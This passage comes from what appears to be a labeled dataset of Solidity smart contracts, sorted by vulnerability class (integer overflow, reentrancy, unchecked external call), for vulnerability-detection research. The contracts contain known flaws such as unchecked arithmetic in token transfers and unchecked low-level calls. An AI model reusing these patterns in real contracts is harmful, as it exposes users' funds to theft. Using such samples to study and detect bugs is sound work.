tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 257.sol,"pragma solidity ^0.4.2; contract GravatarRegistry { event NewGravatar(uint id, address owner, string displayName, string imageUrl); event UpdatedGravatar(uint id, address owner, string displayName, string imageUrl); struct Gravatar { address owner; string displayName; string imageUrl; } Gravatar[] public gravatars; mapping (uint => address) public gravatarToOwner; mapping (address => uint) public ownerToGravatar; function createGravatar(string _displayName, string _imageUrl) public { require(ownerToGravatar[msg.sender] == 0); uint id = gravatars.push(Gravatar(msg.sender, _displayName, _imageUrl)) - 1; gravatarToOwner[id] = msg.sender; ownerToGravatar[msg.sender] = id; emit NewGravatar(id, msg.sender, _displayName, _imageUrl); } function getGravatar(address owner) public view returns (string, string) { uint id = ownerToGravatar[owner]; return (gravatars[id].displayName, gravatars[id].imageUrl); } function updateGravatarName(string _displayName) public { require(ownerToGravatar[msg.sender] != 0); require(msg.sender == gravatars[ownerToGravatar[msg.sender]].owner); uint id = ownerToGravatar[msg.sender]; gravatars[id].displayName = _displayName; emit UpdatedGravatar(id, msg.sender, _displayName, gravatars[id].imageUrl); } function updateGravatarImage(string _imageUrl) public { require(ownerToGravatar[msg.sender] != 0); require(msg.sender == gravatars[ownerToGravatar[msg.sender]].owner); uint id = ownerToGravatar[msg.sender]; gravatars[id].imageUrl = _imageUrl; emit UpdatedGravatar(id, msg.sender, gravatars[id].displayName, _imageUrl); } function setMythicalGravatar() public { require(msg.sender == 0x8d3e809Fbd258083a5Ba004a527159Da535c8abA); gravatars.push(Gravatar(0x0, "" "", "" "")); } }",./Dataset/integer overflow (OF)/,4,4 34718.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract test2 is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function test2( ) { balances[msg.sender] = 10000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000; // Update total supply (100000 for example) name = ""test2""; // Set the name for display purposes decimals = 2; // Amount of decimals for display purposes symbol = ""tt2""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 23387.sol,"pragma solidity 0.4.15; // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/issues/20 contract ERC20Interface { function totalSupply() public constant returns(uint256 totalSupplyReturn); function balanceOf(address _owner) public constant returns(uint256 balance); function transfer(address _to, uint256 _value) public returns(bool success); function transferFrom(address _from, address _to, uint256 _value) public returns(bool success); function approve(address _spender, uint256 _value) public returns(bool success); function allowance(address _owner, address _spender) public constant returns(uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 32304.sol,"pragma solidity ^0.4.15; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract AbstractPaymentEscrow is Ownable { address public wallet; mapping (uint => uint) public deposits; event Payment(address indexed _customer, uint indexed _projectId, uint value); event Withdraw(address indexed _wallet, uint value); function withdrawFunds() public; /** * @dev Change the wallet * @param _wallet address of the wallet where fees will be transfered when spent */ function changeWallet(address _wallet) public onlyOwner() { wallet = _wallet; } /** * @dev Get the amount deposited for the provided project, returns 0 if there's no deposit for that project or the amount in wei * @param _projectId The id of the project * @return 0 if there's either no deposit for _projectId, otherwise returns the deposited amount in wei */ function getDeposit(uint _projectId) public constant returns (uint) { return deposits[_projectId]; } } contract TokitRegistry is Ownable { struct ProjectContracts { address token; address fund; address campaign; } // registrar => true/false mapping (address => bool) public registrars; // customer => project_id => token/campaign mapping (address => mapping(uint => ProjectContracts)) public registry; // project_id => token/campaign mapping (uint => ProjectContracts) public project_registry; event RegisteredToken(address indexed _projectOwner, uint indexed _projectId, address _token, address _fund); event RegisteredCampaign(address indexed _projectOwner, uint indexed _projectId, address _campaign); modifier onlyRegistrars() { require(registrars[msg.sender]); _; } function TokitRegistry(address _owner) { setRegistrar(_owner, true); transferOwnership(_owner); } function register(address _customer, uint _projectId, address _token, address _fund) onlyRegistrars() { registry[_customer][_projectId].token = _token; registry[_customer][_projectId].fund = _fund; project_registry[_projectId].token = _token; project_registry[_projectId].fund = _fund; RegisteredToken(_customer, _projectId, _token, _fund); } function register(address _customer, uint _projectId, address _campaign) onlyRegistrars() { registry[_customer][_projectId].campaign = _campaign; project_registry[_projectId].campaign = _campaign; RegisteredCampaign(_customer, _projectId, _campaign); } function lookup(address _customer, uint _projectId) constant returns (address token, address fund, address campaign) { return ( registry[_customer][_projectId].token, registry[_customer][_projectId].fund, registry[_customer][_projectId].campaign ); } function lookupByProject(uint _projectId) constant returns (address token, address fund, address campaign) { return ( project_registry[_projectId].token, project_registry[_projectId].fund, project_registry[_projectId].campaign ); } function setRegistrar(address _registrar, bool enabled) onlyOwner() { registrars[_registrar] = enabled; } } // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract AbstractSingularDTVToken is Token { } /// @title Fund contract - Implements reward distribution. /// @author Stefan George - <[email protected]> /// @author Milad Mostavi - <[email protected]> contract SingularDTVFund { string public version = ""0.1.0""; /* * External contracts */ AbstractSingularDTVToken public singularDTVToken; /* * Storage */ address public owner; uint public totalReward; // User's address => Reward at time of withdraw mapping (address => uint) public rewardAtTimeOfWithdraw; // User's address => Reward which can be withdrawn mapping (address => uint) public owed; modifier onlyOwner() { // Only guard is allowed to do this action. if (msg.sender != owner) { revert(); } _; } /* * Contract functions */ /// @dev Deposits reward. Returns success. function depositReward() public payable returns (bool) { totalReward += msg.value; return true; } /// @dev Withdraws reward for user. Returns reward. /// @param forAddress user's address. function calcReward(address forAddress) private returns (uint) { return singularDTVToken.balanceOf(forAddress) * (totalReward - rewardAtTimeOfWithdraw[forAddress]) / singularDTVToken.totalSupply(); } /// @dev Withdraws reward for user. Returns reward. function withdrawReward() public returns (uint) { uint value = calcReward(msg.sender) + owed[msg.sender]; rewardAtTimeOfWithdraw[msg.sender] = totalReward; owed[msg.sender] = 0; if (value > 0 && !msg.sender.send(value)) { revert(); } return value; } /// @dev Credits reward to owed balance. /// @param forAddress user's address. function softWithdrawRewardFor(address forAddress) external returns (uint) { uint value = calcReward(forAddress); rewardAtTimeOfWithdraw[forAddress] = totalReward; owed[forAddress] += value; return value; } /// @dev Setup function sets external token address. /// @param singularDTVTokenAddress Token address. function setup(address singularDTVTokenAddress) external onlyOwner returns (bool) { if (address(singularDTVToken) == 0) { singularDTVToken = AbstractSingularDTVToken(singularDTVTokenAddress); return true; } return false; } /// @dev Contract constructor function sets guard address. function SingularDTVFund() { // Set owner address owner = msg.sender; } /// @dev Fallback function acts as depositReward() function () public payable { if (msg.value == 0) { withdrawReward(); } else { depositReward(); } } } /// @title Token Creation contract - Implements token creation functionality. /// @author Stefan George - <[email protected]> /// @author Razvan Pop - <[email protected]> /// @author Milad Mostavi - <[email protected]> contract SingularDTVLaunch { string public version = ""0.1.0""; event Contributed(address indexed contributor, uint contribution, uint tokens); /* * External contracts */ AbstractSingularDTVToken public singularDTVToken; address public workshop; address public SingularDTVWorkshop = 0xc78310231aA53bD3D0FEA2F8c705C67730929D8f; uint public SingularDTVWorkshopFee; /* * Constants */ uint public CAP; // in wei scale of tokens uint public DURATION; // in seconds uint public TOKEN_TARGET; // Goal threshold in wei scale of tokens /* * Enums */ enum Stages { Deployed, GoingAndGoalNotReached, EndedAndGoalNotReached, GoingAndGoalReached, EndedAndGoalReached } /* * Storage */ address public owner; uint public startDate; uint public fundBalance; uint public valuePerToken; //in wei uint public tokensSent; // participant address => value in Wei mapping (address => uint) public contributions; // participant address => token amount in wei scale mapping (address => uint) public sentTokens; // Initialize stage Stages public stage = Stages.Deployed; modifier onlyOwner() { // Only owner is allowed to do this action. if (msg.sender != owner) { revert(); } _; } modifier atStage(Stages _stage) { if (stage != _stage) { revert(); } _; } modifier atStageOR(Stages _stage1, Stages _stage2) { if (stage != _stage1 && stage != _stage2) { revert(); } _; } modifier timedTransitions() { uint timeElapsed = now - startDate; if (timeElapsed >= DURATION) { if (stage == Stages.GoingAndGoalNotReached) { stage = Stages.EndedAndGoalNotReached; } else if (stage == Stages.GoingAndGoalReached) { stage = Stages.EndedAndGoalReached; } } _; } /* * Contract functions */ /// dev Validates invariants. function checkInvariants() constant internal { if (fundBalance > this.balance) { revert(); } } /// @dev Can be triggered if an invariant fails. function emergencyCall() public returns (bool) { if (fundBalance > this.balance) { if (this.balance > 0 && !SingularDTVWorkshop.send(this.balance)) { revert(); } return true; } return false; } /// @dev Allows user to create tokens if token creation is still going and cap not reached. Returns token count. function fund() public timedTransitions atStageOR(Stages.GoingAndGoalNotReached, Stages.GoingAndGoalReached) payable returns (uint) { uint tokenCount = (msg.value * (10**18)) / valuePerToken; // Token count in wei is rounded down. Sent ETH should be multiples of valuePerToken. require(tokenCount > 0); if (tokensSent + tokenCount > CAP) { // User wants to create more tokens than available. Set tokens to possible maximum. tokenCount = CAP - tokensSent; } tokensSent += tokenCount; uint contribution = (tokenCount * valuePerToken) / (10**18); // Ether spent by user. // Send change back to user. if (msg.value > contribution && !msg.sender.send(msg.value - contribution)) { revert(); } // Update fund and user's balance and total supply of tokens. fundBalance += contribution; contributions[msg.sender] += contribution; sentTokens[msg.sender] += tokenCount; if (!singularDTVToken.transfer(msg.sender, tokenCount)) { // Tokens could not be issued. revert(); } // Update stage if (stage == Stages.GoingAndGoalNotReached) { if (tokensSent >= TOKEN_TARGET) { stage = Stages.GoingAndGoalReached; } } // not an else clause for the edge case that the CAP and TOKEN_TARGET are reached in one call if (stage == Stages.GoingAndGoalReached) { if (tokensSent == CAP) { stage = Stages.EndedAndGoalReached; } } checkInvariants(); Contributed(msg.sender, contribution, tokenCount); return tokenCount; } /// @dev Allows user to withdraw ETH if token creation period ended and target was not reached. Returns contribution. function withdrawContribution() public timedTransitions atStage(Stages.EndedAndGoalNotReached) returns (uint) { // We get back the tokens from the contributor before giving back his contribution uint tokensReceived = sentTokens[msg.sender]; sentTokens[msg.sender] = 0; if (!singularDTVToken.transferFrom(msg.sender, owner, tokensReceived)) { revert(); } // Update fund's and user's balance and total supply of tokens. uint contribution = contributions[msg.sender]; contributions[msg.sender] = 0; fundBalance -= contribution; // Send ETH back to user. if (contribution > 0) { msg.sender.transfer(contribution); } checkInvariants(); return contribution; } /// @dev Withdraws ETH to workshop address. Returns success. function withdrawForWorkshop() public timedTransitions atStage(Stages.EndedAndGoalReached) returns (bool) { uint value = fundBalance; fundBalance = 0; require(value > 0); uint networkFee = value * SingularDTVWorkshopFee / 100; workshop.transfer(value - networkFee); SingularDTVWorkshop.transfer(networkFee); uint remainingTokens = CAP - tokensSent; if (remainingTokens > 0 && !singularDTVToken.transfer(owner, remainingTokens)) { revert(); } checkInvariants(); return true; } /// @dev Allows owner to get back unsent tokens in case of launch failure (EndedAndGoalNotReached). function withdrawUnsentTokensForOwner() public timedTransitions atStage(Stages.EndedAndGoalNotReached) returns (uint) { uint remainingTokens = CAP - tokensSent; if (remainingTokens > 0 && !singularDTVToken.transfer(owner, remainingTokens)) { revert(); } checkInvariants(); return remainingTokens; } /// @dev Sets token value in Wei. /// @param valueInWei New value. function changeValuePerToken(uint valueInWei) public onlyOwner atStage(Stages.Deployed) returns (bool) { valuePerToken = valueInWei; return true; } // updateStage allows calls to receive correct stage. It can be used for transactions but is not part of the regular token creation routine. // It is not marked as constant because timedTransitions modifier is altering state and constant is not yet enforced by solc. /// @dev returns correct stage, even if a function with timedTransitions modifier has not yet been called successfully. function updateStage() public timedTransitions returns (Stages) { return stage; } function start() public onlyOwner atStage(Stages.Deployed) returns (uint) { if (!singularDTVToken.transferFrom(msg.sender, this, CAP)) { revert(); } startDate = now; stage = Stages.GoingAndGoalNotReached; checkInvariants(); return startDate; } /// @dev Contract constructor function sets owner and start date. function SingularDTVLaunch( address singularDTVTokenAddress, address _workshop, address _owner, uint _total, uint _unit_price, uint _duration, uint _threshold, uint _singulardtvwoskhop_fee ) { singularDTVToken = AbstractSingularDTVToken(singularDTVTokenAddress); workshop = _workshop; owner = _owner; CAP = _total; // Total number of tokens (wei scale) valuePerToken = _unit_price; // wei per token DURATION = _duration; // in seconds TOKEN_TARGET = _threshold; // Goal threshold SingularDTVWorkshopFee = _singulardtvwoskhop_fee; } /// @dev Fallback function acts as fund() when stage GoingAndGoalNotReached /// or GoingAndGoalReached. And act as withdrawFunding() when EndedAndGoalNotReached. /// otherwise throw. function () public payable { if (stage == Stages.GoingAndGoalNotReached || stage == Stages.GoingAndGoalReached) fund(); else if (stage == Stages.EndedAndGoalNotReached) withdrawContribution(); else revert(); } } contract AbstractSingularDTVFund { function softWithdrawRewardFor(address forAddress) returns (uint); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } /// @title Token contract - Implements token issuance. /// @author Stefan George - <[email protected]> /// @author Milad Mostavi - <[email protected]> contract SingularDTVToken is StandardToken { string public version = ""0.1.0""; /* * External contracts */ AbstractSingularDTVFund public singularDTVFund; /* * Token meta data */ string public name; string public symbol; uint8 public constant decimals = 18; /// @dev Transfers sender's tokens to a given address. Returns success. /// @param to Address of token receiver. /// @param value Number of tokens to transfer. function transfer(address to, uint256 value) returns (bool) { // Both parties withdraw their reward first singularDTVFund.softWithdrawRewardFor(msg.sender); singularDTVFund.softWithdrawRewardFor(to); return super.transfer(to, value); } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param from Address from where tokens are withdrawn. /// @param to Address to where tokens are sent. /// @param value Number of tokens to transfer. function transferFrom(address from, address to, uint256 value) returns (bool) { // Both parties withdraw their reward first singularDTVFund.softWithdrawRewardFor(from); singularDTVFund.softWithdrawRewardFor(to); return super.transferFrom(from, to, value); } function SingularDTVToken(address sDTVFundAddr, address _wallet, string _name, string _symbol, uint _totalSupply) { if(sDTVFundAddr == 0 || _wallet == 0) { // Fund and Wallet addresses should not be null. revert(); } balances[_wallet] = _totalSupply; totalSupply = _totalSupply; name = _name; symbol = _symbol; singularDTVFund = AbstractSingularDTVFund(sDTVFundAddr); Transfer(this, _wallet, _totalSupply); } } contract TokitDeployer is Ownable { TokitRegistry public registry; // payment_type => payment_contract mapping (uint8 => AbstractPaymentEscrow) public paymentContracts; event DeployedToken(address indexed _customer, uint indexed _projectId, address _token, address _fund); event DeployedCampaign(address indexed _customer, uint indexed _projectId, address _campaign); function TokitDeployer(address _owner, address _registry) { transferOwnership(_owner); registry = TokitRegistry(_registry); } function deployToken( address _customer, uint _projectId, uint8 _payedWith, uint _amountNeeded, // SingularDTVToken address _wallet, string _name, string _symbol, uint _totalSupply ) onlyOwner() { // payed for require(AbstractPaymentEscrow(paymentContracts[_payedWith]).getDeposit(_projectId) >= _amountNeeded); var (t,,) = registry.lookup(_customer, _projectId); // not deployed yet require(t == address(0)); SingularDTVFund fund = new SingularDTVFund(); SingularDTVToken token = new SingularDTVToken(fund, _wallet, _name, _symbol, _totalSupply); fund.setup(token); registry.register(_customer, _projectId, token, fund); DeployedToken(_customer, _projectId, token, fund); } function deployCampaign( address _customer, uint _projectId, // SingularDTVLaunch address _workshop, uint _total, uint _unitPrice, uint _duration, uint _threshold, uint _networkFee ) onlyOwner() { var (t,f,c) = registry.lookup(_customer, _projectId); // not deployed yet require(c == address(0)); // payed for, token & fund deployed require(t != address(0) && f != address(0)); SingularDTVLaunch campaign = new SingularDTVLaunch(t, _workshop, _customer, _total, _unitPrice, _duration, _threshold, _networkFee); registry.register(_customer, _projectId, campaign); DeployedCampaign(_customer, _projectId, campaign); } function setRegistryContract(address _registry) onlyOwner() { registry = TokitRegistry(_registry); } function setPaymentContract(uint8 _paymentType, address _paymentContract) onlyOwner() { paymentContracts[_paymentType] = AbstractPaymentEscrow(_paymentContract); } function deletePaymentContract(uint8 _paymentType) onlyOwner() { delete paymentContracts[_paymentType]; } }",./Dataset/unchecked external call (UC),7,7 40435.sol,"pragma solidity ^0.4.21; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/ownership/Claimable.sol /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function 